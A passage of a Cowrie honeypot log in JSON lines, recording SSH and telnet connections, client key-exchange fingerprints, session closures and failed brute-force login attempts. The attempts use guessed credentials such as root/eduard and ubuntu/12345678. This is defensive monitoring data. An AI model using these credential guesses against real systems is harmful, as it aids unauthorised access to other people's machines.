1@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:24.769522Z","src_ip":"103.27.238.116","session":"443378c48f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46376,"dst_ip":"10.17.0.5","dst_port":23,"session":"3370e0cba48c","protocol":"telnet","message":"New connection: 192.119.13.58:46376 (10.17.0.5:23) [session: 3370e0cba48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:25.066695Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"eduard","message":"login attempt [root/eduard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:25.563993Z","src_ip":"103.27.238.116","session":"443378c48f9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49336,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d9b84f2b114","protocol":"telnet","message":"New connection: 192.119.13.58:49336 (10.17.0.5:23) [session: 1d9b84f2b114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:25.875731Z"}
{"eventid":"cowrie.session.closed","duration":42.94080638885498,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:26.142111Z","src_ip":"192.119.13.58","session":"2b872849582e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.228203535079956,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:26.635235Z","src_ip":"192.119.13.58","session":"07ce2fe03880","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:26.827368Z","src_ip":"103.27.238.116","session":"443378c48f9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.522310733795166,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:27.049701Z","src_ip":"192.119.13.58","session":"48e968315b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16323447227478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:28.413744Z","src_ip":"192.119.13.58","session":"ec19c4ac4eb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49642,"dst_ip":"10.17.0.5","dst_port":23,"session":"71a1e87947eb","protocol":"telnet","message":"New connection: 192.119.13.58:49642 (10.17.0.5:23) [session: 71a1e87947eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:33.459917Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38540,"dst_ip":"10.17.0.5","dst_port":23,"session":"452a1b0b8413","protocol":"telnet","message":"New connection: 192.119.13.58:38540 (10.17.0.5:23) [session: 452a1b0b8413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:37.709058Z"}
{"eventid":"cowrie.session.closed","duration":36.26435351371765,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:37.849202Z","src_ip":"192.119.13.58","session":"d1cabf6f8dbc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42614,"dst_ip":"10.17.0.5","dst_port":23,"session":"36f0e162b80a","protocol":"telnet","message":"New connection: 192.119.13.58:42614 (10.17.0.5:23) [session: 36f0e162b80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:38.648126Z"}
{"eventid":"cowrie.session.closed","duration":42.91209316253662,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:40.589022Z","src_ip":"192.119.13.58","session":"38d5948788a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.100183963775635,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:45.823001Z","src_ip":"192.119.13.58","session":"a1ac7e206080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59160,"dst_ip":"159.203.135.109","dst_port":22,"session":"c27b9660d147","protocol":"ssh","message":"New connection: 87.251.79.125:59160 (159.203.135.109:22) [session: c27b9660d147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:50.696222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:50.700798Z","src_ip":"87.251.79.125","session":"c27b9660d147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:50.771944Z","src_ip":"87.251.79.125","session":"c27b9660d147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111333","message":"login attempt [root/111333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:50.986906Z","src_ip":"87.251.79.125","session":"c27b9660d147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:52.061203Z","src_ip":"87.251.79.125","session":"c27b9660d147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":57790,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc287ab00c89","protocol":"ssh","message":"New connection: 80.94.92.184:57790 (10.17.0.5:22) [session: cc287ab00c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:54.914197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:55.146969Z","src_ip":"80.94.92.184","session":"cc287ab00c89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:55.151232Z","src_ip":"80.94.92.184","session":"cc287ab00c89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:57.090344Z","src_ip":"80.94.92.184","session":"cc287ab00c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:00:58.395086Z","src_ip":"80.94.92.184","session":"cc287ab00c89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.12667894363403,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:03.058960Z","src_ip":"192.119.13.58","session":"9f117230a38b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46760,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c4b30127cdb","protocol":"telnet","message":"New connection: 192.119.13.58:46760 (10.17.0.5:23) [session: 9c4b30127cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:06.280503Z"}
{"eventid":"cowrie.session.closed","duration":34.86878800392151,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:13.516777Z","src_ip":"192.119.13.58","session":"36f0e162b80a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.271756649017334,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:16.147361Z","src_ip":"192.119.13.58","session":"1d9b84f2b114","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.60304045677185,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:16.311969Z","src_ip":"192.119.13.58","session":"452a1b0b8413","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52054,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eef35893101","protocol":"telnet","message":"New connection: 192.119.13.58:52054 (10.17.0.5:23) [session: 6eef35893101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:18.720682Z"}
{"eventid":"cowrie.session.closed","duration":45.61620211601257,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:19.076000Z","src_ip":"192.119.13.58","session":"71a1e87947eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.67719221115112,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:21.743464Z","src_ip":"192.119.13.58","session":"3370e0cba48c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36468,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5acc20a1ee","protocol":"ssh","message":"New connection: 103.176.20.57:36468 (10.17.0.5:22) [session: 5a5acc20a1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:23.968707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:23.975602Z","src_ip":"103.176.20.57","session":"5a5acc20a1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:24.229403Z","src_ip":"103.176.20.57","session":"5a5acc20a1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ybrbnf123","message":"login attempt [root/ybrbnf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:24.984746Z","src_ip":"103.176.20.57","session":"5a5acc20a1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:26.239059Z","src_ip":"103.176.20.57","session":"5a5acc20a1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51284,"dst_ip":"10.17.0.5","dst_port":23,"session":"80b30d7e0f19","protocol":"telnet","message":"New connection: 192.119.13.58:51284 (10.17.0.5:23) [session: 80b30d7e0f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:31.504356Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57646,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d1d03f91fe","protocol":"telnet","message":"New connection: 192.119.13.58:57646 (10.17.0.5:23) [session: 40d1d03f91fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:40.379928Z"}
{"eventid":"cowrie.session.closed","duration":36.45842432975769,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:42.738815Z","src_ip":"192.119.13.58","session":"9c4b30127cdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44708,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f5edfbafcd","protocol":"telnet","message":"New connection: 192.119.13.58:44708 (10.17.0.5:23) [session: e1f5edfbafcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:44.005471Z"}
{"eventid":"cowrie.session.closed","duration":11.36716341972351,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:51.746941Z","src_ip":"192.119.13.58","session":"40d1d03f91fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":35040,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bd2ae0a1d3a","protocol":"ssh","message":"New connection: 103.82.132.16:35040 (10.17.0.5:22) [session: 1bd2ae0a1d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:53.563186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:53.569420Z","src_ip":"103.82.132.16","session":"1bd2ae0a1d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:53.834860Z","src_ip":"103.82.132.16","session":"1bd2ae0a1d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:54.634569Z","src_ip":"103.82.132.16","session":"1bd2ae0a1d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:55.897740Z","src_ip":"103.82.132.16","session":"1bd2ae0a1d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.95608711242676,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:56.676662Z","src_ip":"192.119.13.58","session":"6eef35893101","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33606,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1cce3f1f68c","protocol":"telnet","message":"New connection: 192.119.13.58:33606 (10.17.0.5:23) [session: a1cce3f1f68c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:01:59.704723Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":46704,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4cc076e8ce","protocol":"ssh","message":"New connection: 103.172.78.219:46704 (159.203.135.109:22) [session: ae4cc076e8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:06.991926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:06.996918Z","src_ip":"103.172.78.219","session":"ae4cc076e8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:07.262694Z","src_ip":"103.172.78.219","session":"ae4cc076e8ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37668,"dst_ip":"10.17.0.5","dst_port":23,"session":"384e33030dc3","protocol":"telnet","message":"New connection: 192.119.13.58:37668 (10.17.0.5:23) [session: 384e33030dc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:07.348799Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"milashka","message":"login attempt [root/milashka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:08.062708Z","src_ip":"103.172.78.219","session":"ae4cc076e8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:09.331834Z","src_ip":"103.172.78.219","session":"ae4cc076e8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.364168882369995,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:02:13.868384Z","src_ip":"192.119.13.58","session":"80b30d7e0f19","protocol":"telnet"}
